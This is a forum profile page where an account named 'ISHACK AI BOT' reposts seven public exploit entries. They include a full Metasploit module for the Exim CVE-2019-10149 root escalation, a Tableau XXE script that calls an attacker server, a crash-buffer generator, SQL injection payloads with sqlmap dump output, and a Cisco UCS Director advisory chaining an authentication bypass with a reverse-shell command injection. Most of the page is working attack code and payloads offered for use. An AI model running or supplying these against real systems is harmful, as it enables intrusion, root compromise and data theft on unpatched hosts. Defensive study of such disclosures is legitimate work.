跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'expect' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System def initialize(info = {}) super(update_info(info, 'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation', 'Description' => %q{ This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149). }, 'License' => MSF_LICENSE, 'Author' => [ 'Qualys', # Discovery and PoC (@qualys) 'Dennis Herrmann', # Working exploit (@dhn) 'Marco Ivaldi', # Working exploit (@0xdea) 'Guillaume André' # Metasploit module (@yaumn_) ], 'DisclosureDate' => '2019-06-05', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Exim 4.87 - 4.91', lower_version: Gem::Version.new('4.87'), upper_version: Gem::Version.new('4.91') ] ], 'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true }, 'References' => [ [ 'CVE', '2019-10149' ], [ 'EDB', '46996' ], [ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ] ] )) register_options( [ OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ]) ]) register_advanced_options( [ OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]), OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def base_dir datastore['WritableDir'].to_s end def encode_command(cmd) '\x' + cmd.unpack('H2' * cmd.length).join('\x') end def open_tcp_connection socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client) params = Rex::Socket::Parameters.new({ 'PeerHost' => '127.0.0.1', 'PeerPort' => datastore['EXIMPORT'] }) begin socket = socket_subsystem.create_tcp_client_channel(params) rescue => e vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\ "are you sure exim is listening on this port? (see EXIMPORT)") raise e end return socket_subsystem, socket end def inject_payload(payload) if session.type == 'meterpreter' socket_subsystem, socket = open_tcp_connection tcp_conversation = { nil => /220/, 'helo localhost' => /250/, "MAIL FROM:<>" => /250/, "RCPT TO:<${run{#{payload}}}@localhost>" => /250/, 'DATA' => /354/, 'Received:' => nil, '.' => /250/ } begin tcp_conversation.each do |line, pattern| Timeout.timeout(datastore['SendExpectTimeout']) do if line if line == 'Received:' for i in (1..31) socket.puts("#{line} #{i}\n") end else socket.puts("#{line}\n") end end if pattern socket.expect(pattern) end end end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) rescue Timeout::Error fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out') ensure socket.puts("QUIT\n") socket.close socket_subsystem.shutdown end else unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\ "&& echo true").chomp.to_s == 'true' fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed") end bash_script = %| #!/bin/bash exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']} read -u 3 && echo $REPLY echo "helo localhost" >&3 read -u 3 && echo $REPLY echo "mail from:<>" >&3 read -u 3 && echo $REPLY echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3 read -u 3 && echo $REPLY echo "data" >&3 read -u 3 && echo $REPLY for i in $(seq 1 30); do echo 'Received: $i' >&3 done echo "." >&3 read -u 3 && echo $REPLY echo "quit" >&3 read -u 3 && echo $REPLY | @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) write_file(@bash_script_path, bash_script) register_file_for_cleanup(@bash_script_path) chmod(@bash_script_path) cmd_exec("/bin/bash -c \"#{@bash_script_path}\"") end print_status('Payload sent, wait a few seconds...') Rex.sleep(5) end def check_for_bash unless command_exists?('/bin/bash') fail_with(Failure::NotFound, 'bash not found') end end def on_new_session(session) super if session.type == 'meterpreter' session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') session.fs.file.rm(@payload_path) else session.shell_command_token("rm -f #{@payload_path}") end end def check if session.type == 'meterpreter' begin socket_subsystem, socket = open_tcp_connection rescue return CheckCode::Safe end res = socket.gets socket.close socket_subsystem.shutdown else check_for_bash res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\ "(read -u 3 && echo $REPLY) || echo false'") if res == 'false' vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\ "are you sure exim is listening on this port? (see EXIMPORT)") return CheckCode::Safe end end if res =~ /Exim ([0-9\.]+)/i version = Gem::Version.new($1) vprint_status("Found exim version: #{version}") if version >= target[:lower_version] && version <= target[:upper_version] return CheckCode::Appears else return CheckCode::Safe end end CheckCode::Unknown end def exploit if is_root? unless datastore['ForceExploit'] fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') end end unless writable?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is not writable") end if nosuid?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid") end unless datastore['PrependSetuid'] && datastore['PrependSetgid'] fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \ 'to get root privileges.') end if session.type == 'shell' check_for_bash end @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) write_file(@payload_path, payload.encoded_exe) register_file_for_cleanup(@payload_path) inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\ "chmod 4755 #{@payload_path}'")) unless setuid?(@payload_path) fail_with(Failure::Unknown, "Couldn't escalate privileges") end cmd_exec("#{@payload_path} & echo ") end end
  2. Windows: SET_REPARSE_POINT_EX Mount Point Security Feature Bypass Platform: Windows 10 1903, 1809 (not tested earlier) Class: Security Feature Bypass Summary: The NTFS driver supports a new FS control code to set a mount point which the existing sandbox mitigation doesn’t support allowing a sandboxed application to set an arbitrary mount point symbolic link. Description: After multiple previous attempts the kernel mitigation against adding arbitrary NTFS mount points seems pretty robust. However due to the way it was implemented inside the IO manager in the kernel it is fragile to changes inside the filesystem drivers as the mitigation is only implemented when the FSCTL_SET_REPASE_POINT control code is used. In this case at some point (based on headers probably RS1) a new FSCTL was added to NTFS, FSCTL_SET_REPARSE_POINT_EX to allow overwriting an existing reparse point without having to first delete it. This FSCTL has a different control code to the old one, therefore issuing it does not trigger the mitigation and an arbitrary mount point can be set from any sandboxed applications. This mount point could then facilitate further attacks, for example https://bugs.chromium.org/p/project-zero/issues/detail?id=1413 is probably now vulnerable again to drop an arbitrary file as the current user. Fixing wise obviously you’d want to also detect this FSCTL and handle it in the mitigation. You’ll probably want to verify the NTFS implementation to check that it’s not possible to just change the data without specifying a valid tag when an existing tag is already set as the single optional flag you can specify isn’t exactly clear on this. You might also want to find a way of getting visibility on new changes which can affect symbolic link operations, as this is 3rd time this has happened recently (previously NPFS symlinks and global symlinks) that I know of. Proof of Concept: I’ve provided a PoC as a C# project. It will create a temporary directory, drop its token’s IL to Low then set that directory to be a mount point to the windows folder which would not normally be allowed. 1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build. 2) As a normal user run the PoC. 3) The PoC should print the set mount point path. Expected Result: Setting the mount point should fail with access denied. Observed Result: The mount point is set to an arbitrary directory. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47306.zip
  3. # Exploit Title: Tableau XXE # Google Dork: N/A # Date: Reported to vendor July 2019, fix released August 2019. # Exploit Author: Jarad Kopf # Vendor Homepage: https://www.tableau.com/ # Software Link: Tableau Desktop downloads: https://www.tableau.com/products/desktop/download # Version/Products: See Tableau Advisory: https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products # Tested on: Windows # CVE: CVE-2019-15637 #This comes from https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products #Severity: High ====== CVSS3 Score: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L - 7.1 High ====== Product Specific Notes: Malicious workbooks, data sources, and extensions files that are published or used on Tableau Server can trigger this vulnerability #see also https://github.com/minecrater/exploits/blob/master/TableauXXE.py #Unfortunately as I did not have access to the source code a lot of this couldn't really be coded. #Lot of this seems to be user specific (zoneid, dashboard etc). Virtually just taking the vulnerable request and running the exploit. #Very bare bones...wish I could've done more, but maybe someone else with access to the source would want to do that as an exercise. import requests import sys from warnings import filterwarnings # Globals proxy = 'http://127.0.0.1:8080' proxies = {'http':proxy, 'https':proxy} filterwarnings('ignore') def xxe(target, attackerserver, boundary, cookie, zoneid, dashboard): payload = """<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE root PUBLIC "-//A/B/EN" """ payload += "\""+attackerserver+"\"><svg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"><text x=\"0\" y=\"20\" font-size=\"20\">test</text></svg>" headers = {'Content-Type': 'multipart/form-data; boundary='+boundary, 'Cookie': 'workgroup_session_id='+cookie} data = "--"+boundary+"\r\n" data += """Content-Disposition: form-data; name=\"zoneId\""""+"\r\n" data += "\r\n" #below will be different for each user - this is the zoneid of the dashboard you're exploiting this against data += zoneid+ "\r\n" data += "--"+boundary+"\r\n" data += """Content-Disposition: form-data; name=\"dashboard\""""+"\r\n" data += "\r\n" #below will be different for each user - the name of the dashboard we have access to which we're exploiting this against data += dashboard + "\r\n" data += "--"+boundary+"\r\n" data += """Content-Disposition: form-data; name=\"wasCanceled\""""+"\r\n" data += "\r\n" data += "false" data += "\r\n" data += "--"+boundary+"\r\n" data += """Content-Disposition: form-data; name=\"extensionManifestContents\""""+"\r\n" data += "\r\n" data += payload data += "\r\n" data += "--"+boundary+"--" r = requests.post(target, headers=headers, data=data, proxies=proxies, verify=False) def main(): if len(sys.argv) != 7: print "(+) usage: %s <target><attackerserver><boundary><workgroup_session_id_cookie><zoneid><dashboardname>" % sys.argv[0] sys.exit(-1) target = sys.argv[1] attackerserver = sys.argv[2] boundary = sys.argv[3] cookie = sys.argv[4] zoneid = sys.argv[5] dashboard = sys.argv[6] xxe(target,attackerserver,boundary,cookie,zoneid,dashboard) print "making request, make sure to catch the HTTP request!" if __name__ == "__main__": main()
  4. #Exploit Title: Outlook Password Recovery v2.10 Denial of Service Exploit # Date: 16.08.2019 # Vendor Homepage:https://www.top-password.com/ # Software Link: https://www.top-password.com/outlook-password-recovery.html # Exploit Author: Velayutham Selvaraj & Praveen Thiyagarayam (TwinTech Solutions) # Tested Version: v2.10 # Tested on: Windows 7 x64 # Windows XP SP3 # 1.- Run python code :Outlook Password Recovery.py # 2.- Open EVIL.txt and copy content to clipboard # 3.- Open OUTLOOK Password Recovery and Click 'EnterKey' # 4.- Paste the content of EVIL.txt into the Field: 'User Name and Registration Code' # 5.- Click 'OK' and you will see a crash. #!/usr/bin/env python buffer = "\x41" * 6000 try: f=open("Evil.txt","w") print "[+] Creating %s bytes evil payload.." %len(buffer) f.write(buffer) f.close() print "[+] File created!" except: print "File cannot be created"
  5. # Exploit Title: Jobberbase 2.0 CMS - 'jobs-in' SQL Injection # Google Dork: N/A # Date: 28, August 2019 # Exploit Author: Suvadip Kar # Vendor Homepage: http://jobberbase.com/ # Software Link: https://github.com/filipcte/jobberbase/zipball/master # Version: 2.0 # Tested on: Linux # CVE : N/A -------------------------------------------------------------------------------- #POC - SQLi #Request: http://localhost/[PATH]/jobs/jobs-in/ #Vulnerable Parameter: jobs-in (GET) #Payload: -4115" UNION ALL SELECT 33,user()-- XYZ #EXAMPLE: http://localhost/[PATH]/jobs/jobs-in/-4115" UNION ALL SELECT 33,user()-- XYZ
  6. <!-- # Exploit Title: Blind SQL injection in SQLiteManager 1.2.0 (and 1.2.4) # Date: 17-02-2019 # Exploit Author: Rafael Pedrero # Vendor Homepage: http://www.sqlitemanager.org/ # Software Link: http://www.sqlitemanager.org/ # Version: SQLiteManager 1.2.0 (and 1.2.4) # Tested on: All # CVE : CVE-2019-9083 # Category: webapps 1. Description SQLiteManager 1.20 allows SQL injection via the /sqlitemanager/main.php dbsel parameter. NOTE: This product is discontinued. 2. Proof of Concept Detect: http://localhost/sqlitemanager/main.php?dbsel=-1%20or%2072%20=%2072 http://localhost/sqlitemanager/main.php?dbsel=-1%20or%2072%20=%2070 Save the next post in a file: sqli.txt POST /sqlite/main.php?dbsel=-1%20or%2032%20%3d%2030 HTTP/1.1 Content-Length: 191 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Cookie: PHPSESSID=s5uogfet0s4nhr81ihgmg5l4v3; SQLiteManager_currentTheme=default; SQLiteManager_currentLangue=8; SQLiteManager_fullText=0; SQLiteManager_HTMLon=0 Host: localhost Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) action=save&ColumnList=1&ConditionList=1&trigger=&TriggerAction=FOR%20EACH%20ROW&TriggerCondition=WHEN&TriggerEvent=DELETE&TriggerMoment=BEFORE&TriggerName=kqluvanc&TriggerOn=t1&TriggerStep=1 $ python sqlmap.py -r sqli.txt -p dbsel --level 5 --risk 3 --dump-all [11:58:27] [INFO] resuming back-end DBMS 'sqlite' [11:58:27] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: dbsel (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: dbsel=-4019 OR 7689=7689 --- [11:58:27] [INFO] the back-end DBMS is SQLite web server operating system: Windows web application technology: PHP X.X.X, Apache 2.X.X back-end DBMS: SQLite [11:58:27] [INFO] sqlmap will dump entries of all tables from all databases now [11:58:27] [INFO] fetching tables for database: 'SQLite_masterdb' [11:58:27] [INFO] fetching number of tables for database 'SQLite_masterdb' [11:58:27] [WARNING] reflective value(s) found and filtering out [11:58:27] [WARNING] running in a single-thread mode. Please consider usage of o ption '--threads' for faster data retrieval [11:58:27] [INFO] retrieved: 5 [11:58:27] [INFO] retrieved: database [11:58:28] [INFO] retrieved: user_function [11:58:30] [INFO] retrieved: attachment [11:58:31] [INFO] retrieved: groupes [11:58:32] [INFO] retrieved: users ..... ..... ..... 3. Solution: The product is discontinued. Update to last version. -->
  7. >> Multiple critical vulnerabilities in Cisco UCS Director, Cisco Integrated Management Controller Supervisor and Cisco UCS Director Express for Big Data >> Discovered by Pedro Ribeiro ([email protected]) from Agile Information Security ================================================================================= Disclosure: 21/08/2019 / Last updated: 22/08/2019 >> Executive summary: Cisco UCS Director (UCS) is a cloud orchestration product that automates common private cloud infrastructure management functions. It is built using Java and a variety of other technologies and distributed as a Linux based virtual appliance. A demo of the UCS virtual appliance can be freely downloaded from Cisco's website [1]. Due to several coding errors, it is possible for an unauthenticated remote attacker with no privileges to bypass authentication and abuse a password change function to inject arbitrary commands and execute code as root. In addition, there is a default unprivileged user with a known password that can login via SSH and execute commands on the virtual appliance provided by Cisco. Two Metasploit modules were released with this advisory, one that exploits the authentication bypass and command injection, and another that exploits the default SSH password. Please note that according to Cisco [2] [3] [4], all three vulnerabilities described in this advisory affect Cisco UCS Director, Cisco Integrated Management Controller Supervisor and Cisco UCS Director Express for Big Data. However, Agile Information Security only tested Cisco UCS Director. Agile Information Security would like to thank Accenture Security (previously iDefense) [5] for handling the disclosure process with Cisco. >> Vendor description [6]: "Cisco UCS Director delivers a foundation for private cloud Infrastructure as a Service (IaaS). It is a heterogeneous management platform that features multivendor task libraries with more than 2500 out-of-the-box workflow tasks for end-to-end converged and hyperconverged stack automation. You can extend your capabilities to: - Automate provisioning, orchestration, and management of Cisco and third-party infrastructure resources - Order resources and services from an intuitive self-service portal - Automate security and isolation models to provide repeatable services - Standardize and automate multitenant environments across shared infrastructure instances" >> Technical details: #1 Vulnerability: Web Interface Authentication Bypass / CWE-287 CVE-2019-1937 Cisco Bug ID: CSCvp19229 [2] Risk Classification: Critical Attack Vector: Remote Constraints: No authentication required Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and 6.7.0, see [2] for Cisco's list of affected versions UCS exposes a management web interface on ports 80 and 443 so that users of UCS can perform cloud management functions. Due to a number of coding errors and bad practices, it is possible for an unauthenticated attacker to obtain an administrative session by bypassing authentication. The following sequence of requests and responses shows the authentication bypass works. 1.1) First we send a request to ClientServlet to check our authentication status: GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ X-Requested-With: XMLHttpRequest ... to which the server responds with a redirect to the login page since we are not authenticated: HTTP/1.1 302 Found Location: https://10.0.3.100/app/ui/login.jsp Content-Length: 0 Server: Web 1.2) We now follow the redirection to obtain a JSESSIONID cookie: GET /app/ui/login.jsp HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ X-Requested-With: XMLHttpRequest And the server responds with our cookie: HTTP/1.1 200 OK Set-Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC745; Path=/app; Secure; HttpOnly Server: Web 1.3) Then we repeat the request from 1.1), but this time with the JSESSIONID cookie obtained in 1.2): GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74; X-Requested-With: XMLHttpRequest ... and we still get redirected to the login page, as in step 1.1): HTTP/1.1 302 Found Location: https://10.0.3.100/app/ui/login.jsp Content-Length: 0 Server: Web 1.4) To completely bypass authentication, we just need to send the JSESSIONID cookie with added X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set to random values: GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ X-Starship-UserSession-Key: ble X-Starship-Request-Key: bla Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74; X-Requested-With: XMLHttpRequest HTTP/1.1 200 OK Set-Cookie: JSESSIONID=971D41B487F637DA84FCAF9E97A479429D4031F465DA445168A493254AA104E3; Path=/app; Secure; HttpOnly Connection: close Server: Web Content-Length: 428 {"productaccess_id":0,"loginName":"admin","productId":"cloupia_service_portal","accessLevel":null,"isEulaAccepted":false,"eulaAcceptTime":null,"eulaSrcHost":null,"restKey":"bla","allowedOperations":null,"userType":null,"server":null,"domainName":null,"suspend":false,"starshipUserId":null,"starshipUserLocale":null,"isAdminPasswordReset":true,"profileId":0,"credentialId":"","isClassicUIEnabled":false,"starshipSessionId":"ble"} ... and just like that, we can see from the information the server returned that we are logged in as the "admin" user! From now on, we need to use the new JSESSIONID cookie returned by the server in 1.4) to have full administrative access to the UCS web interface. To summarise, our exploit needs to: a) obtain a JSESSIONID cookie b) "authenticate" it by sending a request to ClientServlet with the X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set to random values c) use the new JSESSIONID cookie returned in b) as the "admin" authenticated cookie In some cases, the server will authenticate the old cookie and not return a new one, but the effect is the same - the "old" JSESSIONID cookie will be authenticated as an "admin" cookie. Let's dig into the decompiled code, and see what is happening under the hood. All the coding errors that make this possible are in the class com.cloupia.client.web.auth.AuthenticationFilter, which as a javax.servlet.Filter subclass whose doFilter() function is invoked on every request that the server receives (as configured by the web application). A snippet of com.cloupia.client.web.auth.AuthenticationFilter.doFilter() is shown below, with comments preceded with ^^^: public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) { (...) httpRequest = (HttpServletRequest)request; logger.debug("doFilter url: " + httpRequest.getRequestURL().toString()); boolean isAuthenticated = this.authenticateUser(httpRequest); ^^^ 1.5) invokes authenticateUser() (function shown below) String samlLogoutRequest; if(!isAuthenticated) { ^^^ 1.6) if authenticateUser() returns false, we go into this branch samlLogoutRequest = request.getParameter("SAMLResponse"); logger.info("samlResponse-->" + samlLogoutRequest); if(samlLogoutRequest != null) { this.handleSAMLReponse(request, response, chain, samlLogoutRequest); } else { ^^^ 1.7) if there is no SAMLResponse HTTP parameter, we go into this branch HttpSession session; ProductAccess userBean; String requestedUri; if(this.isStarshipRequest(httpRequest)) { ^^^ 1.8) checks if isStarshipRequest() returns true (function shown below) session = null != httpRequest.getSession(false)?httpRequest.getSession(false):httpRequest.getSession(true); userBean = (ProductAccess)session.getAttribute("USER_IN_SESSION"); if(userBean == null) { ^^^ 1.9) if there is no session server side for this request, follow into this branch... try { userBean = new ProductAccess(); userBean.setCredentialId(""); userBean.setAdminPasswordReset(true); userBean.setProductId("cloupia_service_portal"); userBean.setProfileId(0); userBean.setRestKey(httpRequest.getHeader("X-Starship-Request-Key")); userBean.setStarshipUserId(httpRequest.getHeader("X-Starship-UserName-Key")); userBean.setLoginName("admin"); ^^^ 1.10) and create a new session with the user as "admin"! userBean.setStarshipSessionId(httpRequest.getHeader("X-Starship-UserSession-Key")); requestedUri = httpRequest.getHeader("X-Starship-UserRoles-Key"); userBean.setAccessLevel(requestedUri); if(requestedUri != null && requestedUri.equalsIgnoreCase("admin")) { AuthenticationManager authmgr = AuthenticationManager.getInstance(); userBean.setAccessLevel("Admin"); authmgr.evaluateAllowedOperations(userBean); } session.setAttribute("USER_IN_SESSION", userBean); session.setAttribute("DEFAULT_URL", STARSHIP_DEFAULT_URL); logger.info("userBean:" + userBean.getAccessLevel()); } catch (Exception var12) { logger.info("username/password wrong for rest api access - " + var12.getMessage()); } logger.info("userBean: " + userBean.getAccessLevel()); } chain.doFilter(request, response); (...) } As it can be read in the inline comments in the function above, our first hurdle at 1.5) is to make authenticateUser() return false: private boolean authenticateUser(HttpServletRequest request) { boolean isValidUser = false; HttpSession session = null; session = request.getSession(false); ^^^ 1.11) get the session for this request if(session != null) { ProductAccess user = (ProductAccess)session.getAttribute("USER_IN_SESSION"); if(user != null) { isValidUser = true; if(this.isStarshipRequest(request) && !user.isStarshipAccess(request.getHeader("X-Starship-UserSession-Key"))) { isValidUser = false; } else { logger.debug("AuthenticationFilter:authenticateUser - User " + user.getLoginName() + " has been previously authenticated"); } } } else { logger.info("AuthenticationFilter:authenticateUser - session is null"); ^^^ 1.12) no session found, return isValidUser which is false as set at the start of the function } return isValidUser; } This is easily done, and it works as expected - we do not have a session, so at 1.11) the session is null, and then we go into 1.12) which makes the function return false. We now go back to the doFilter() function, and go into the branch in 1.6). As we have not sent a SAMLResponse HTTP parameter, we follow into the 1.7) branch. Now we get to the critical part in 1.8). Here, isStarshipRequest() is invoked, and if it returns true, the server will create an "admin" session for us... private boolean isStarshipRequest(HttpServletRequest httpRequest) { return null != httpRequest.getHeader("X-Starship-UserSession-Key") && null != httpRequest.getHeader("X-Starship-Request-Key"); } isStarshipRequest() is shown above, and clearly the only thing we need to do to make it return true is to set the X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers. We then follow into 1.9) and 1.10), and we get our administrative session without having any credentials at all! Moreover, the session is completely stealthy and invisible to other users, as it does not appear in Administration -> Users and Groups -> All Users Login History nor in Administration -> Users and Groups -> Current Online Users. #2 Vulnerability: Default password for 'scpuser' / CWE-798 CVE-2019-1935 Cisco Bug ID: CSCvp19251 [3] Risk Classification: Critical Attack Vector: Remote Constraints: requires auth, does not, etc Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and 6.7.0, see [3] for Cisco's list of affected versions The UCS virtual appliance is configured with a user 'scpuser' that is supposed to be used for scp file transfer between UCS appliances and other Cisco modules. According to Cisco's documentation [7]: "An SCP user is used by server diagnostics and tech support upload operations for transferring files to the Cisco IMC Supervisor appliance using the SCP protocol. An scp user account cannot be used to login to the Cisco IMC Supervisor UI or the shelladmin." The web interface contains functionality to change the user password for the 'scpuser' in Administration -> Users and Groups -> SCP User Configuration, and in this page it says: "The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin" Apparently this is not true and not only the user can log in via SSH per default, but it does so with a default password of 'scpuser' if it not changed by the administrator after installation: UCS > ssh [email protected] Password: <scpuser> [scpuser@localhost ~]$ whoami scpuser #3 Vulnerability: Authenticated command injection via the web interface as root (CWE-78) CVE-2019-1936 Cisco Bug ID: CSCvp19245 [4] Risk Classification: Critical Attack Vector: Remote Constraints: requires authentication to the UCS web interface Affected versions: confirmed in Cisco UCS Director versions 6.6 and 6.7, see [4] for Cisco's list of affected versions As shown in #2, the web interface contains functionality to change the user password for the 'scpuser' in Administration -> Users and Groups -> SCP User Configuration. This is handled by the Java class com.cloupia.feature.cimc.forms.SCPUserConfigurationForm in doFormSubmit(), which is shown below, with my markers and comments preceded with ^^^: public FormResult doFormSubmit(String user, ReportContext context, String formId, FormFieldData[] data) throws Exception { logger.info((Object)"doFormSubmit invoked "); FormResult result = this.validateForm(context, this.getDefinition(), formId, data, true); if (result.getStatus() == 0) { try { SCPUserConfig existingConfig; FormFieldDataList datalist = new FormFieldDataList(data); String password = datalist.getById(FIELD_ID_PASSWORD).getValue(); ^^^ 3.1) gets "password" from the form sent by the user SCPUserConfig newSCPUserConfig = new SCPUserConfig(); newSCPUserConfig.setPassword(password); if ("**********".equals(password) && (existingConfig = CIMCPersistenceUtil.getSCPUserConfig()) != null) { newSCPUserConfig.setPassword(existingConfig.getPassword()); } CIMCPersistenceUtil.setSCPUserConfig(newSCPUserConfig); Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "echo -e \"" + password + "\\n" + password + "\" | (passwd --stdin " + "scpuser" + ")"}); ^^^ 3.2) runs /bin/sh with "password" argument p.waitFor(); datalist.getById(FIELD_ID_PASSWORD).setValue("**********"); result.setStatus(2); result.setStatusMessage(RBUtil.getString((String)"CIMCControllerFeature.form.scpuser.success.label")); return result; } catch (Exception ex) { result.setStatusMessage(ex.getMessage()); result.setStatus(1); return result; } } return result; } } In 3.1) we see that the function gets the "password" field from the from sent by the user, and in 3.2) it passes this input directly to Runtime.getRuntime().exec(), which leads to a clear command injection. This is run as root, as the web server runs as root and superuser access would be necessary anyway to change a password of another user. To obtain a reverse shell, we can send the following payload to ClientServlet, which will then invoke the SCPUserConfigurationForm.doFormSubmit(): POST /app/ui/ClientServlet HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/app/ux/index.html X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 945 Cookie: JSESSIONID=C72361B8C66F8FDF871F94C1FC1E07974E9B5B9E1C953D713E4DC305CB2D4CD1 formatType=json&apiName=ExecuteGenericOp&serviceName=InfraMgr&opName=doFormSubmit&opData=%7B%22param0%22%3A%22admin%22%2C%22param1%22%3A%7B%22ids%22%3Anull%2C%22targetCuicId%22%3Anull%2C%22uiMenuTag%22%3A23%2C%22cloudName%22%3Anull%2C%22filterId%22%3Anull%2C%22id%22%3Anull%2C%22type%22%3A10%7D%2C%22param2%22%3A%22scpUserConfig%22%2C%22param3%22%3A%5B%7B%22fieldId%22%3A%22FIELD_ID_USERNAME%22%2C%22value%22%3A%22scpuser%22%7D%2C%7B%22fieldId%22%3A%22FIELD_ID_DESCRIPTION%22%2C%22value%22%3A%22The%20'scpuser'%20will%20be%20configured%20on%20this%20appliance%20in%20order%20to%20enable%20file%20transfer%20operations%20via%20the%20'scp'%20command.%20This%20user%20account%20cannot%20be%20used%20to%20login%20to%20the%20GUI%20or%20shelladmin.%22%7D%2C%7B%22fieldId%22%3A%22FIELD_ID_PASSWORD%22%2C%22value%22%3A%22%60%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%33%2e%39%2f%34%34%34%34%20%30%3e%26%31%60%22%7D%5D%7D In the example above, the FIELD_ID_PASSWORD is set to "`bash -i >& /dev/tcp/10.0.3.9/4444 0>&1`", which returns a reverse shell to host 10.0.3.9 on port 4444 running as root: UCS > nc -lvkp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 10.0.3.100 55432 received! bash: no job control in this shell [root@localhost inframgr]# whoami root >> Exploitation summary: By chaining vulnerability #1 (authentication bypass) with vulnerability #3 (authenticated command injection as root), it is clear that an unauthenticated attacker with no privileges on the system can execute code as root, leading to total compromise of Cisco UCS Director. >> Vulnerability Fixes / Mitigation: According to Cisco [2] [3] [4] the three vulnerabilities described in this advisory were fixed in the product versions described below: Cisco IMC Supervisor releases 2.2.1.0 and later Cisco UCS Director releases 6.7.2.0 and later (recommended: 6.7.3.0) Cisco UCS Director Express for Big Data releases 3.7.2.0 and later (recommended: 3.7.3.0) >> References: [1] https://www.cisco.com/c/en/us/support/servers-unified-computing/ucs-director-evaluation/model.html [2] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby [3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred [4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj [5] https://www.accenture.com/us-en/service-idefense-security-intelligence [6] https://www.cisco.com/c/en/us/products/servers-unified-computing/ucs-director/index.html [7] https://www.cisco.com/c/en/us/td/docs/unified_computing/ucs/ucs-director/rack-server-guide/6-7/cisco-ucs-director-rack-server-mgmt-guide-67/cisco-ucs-director-rack-server-mgmt-guide-67_chapter_01011.html#task_1599289A49FB49D48486A66A8358A2AD 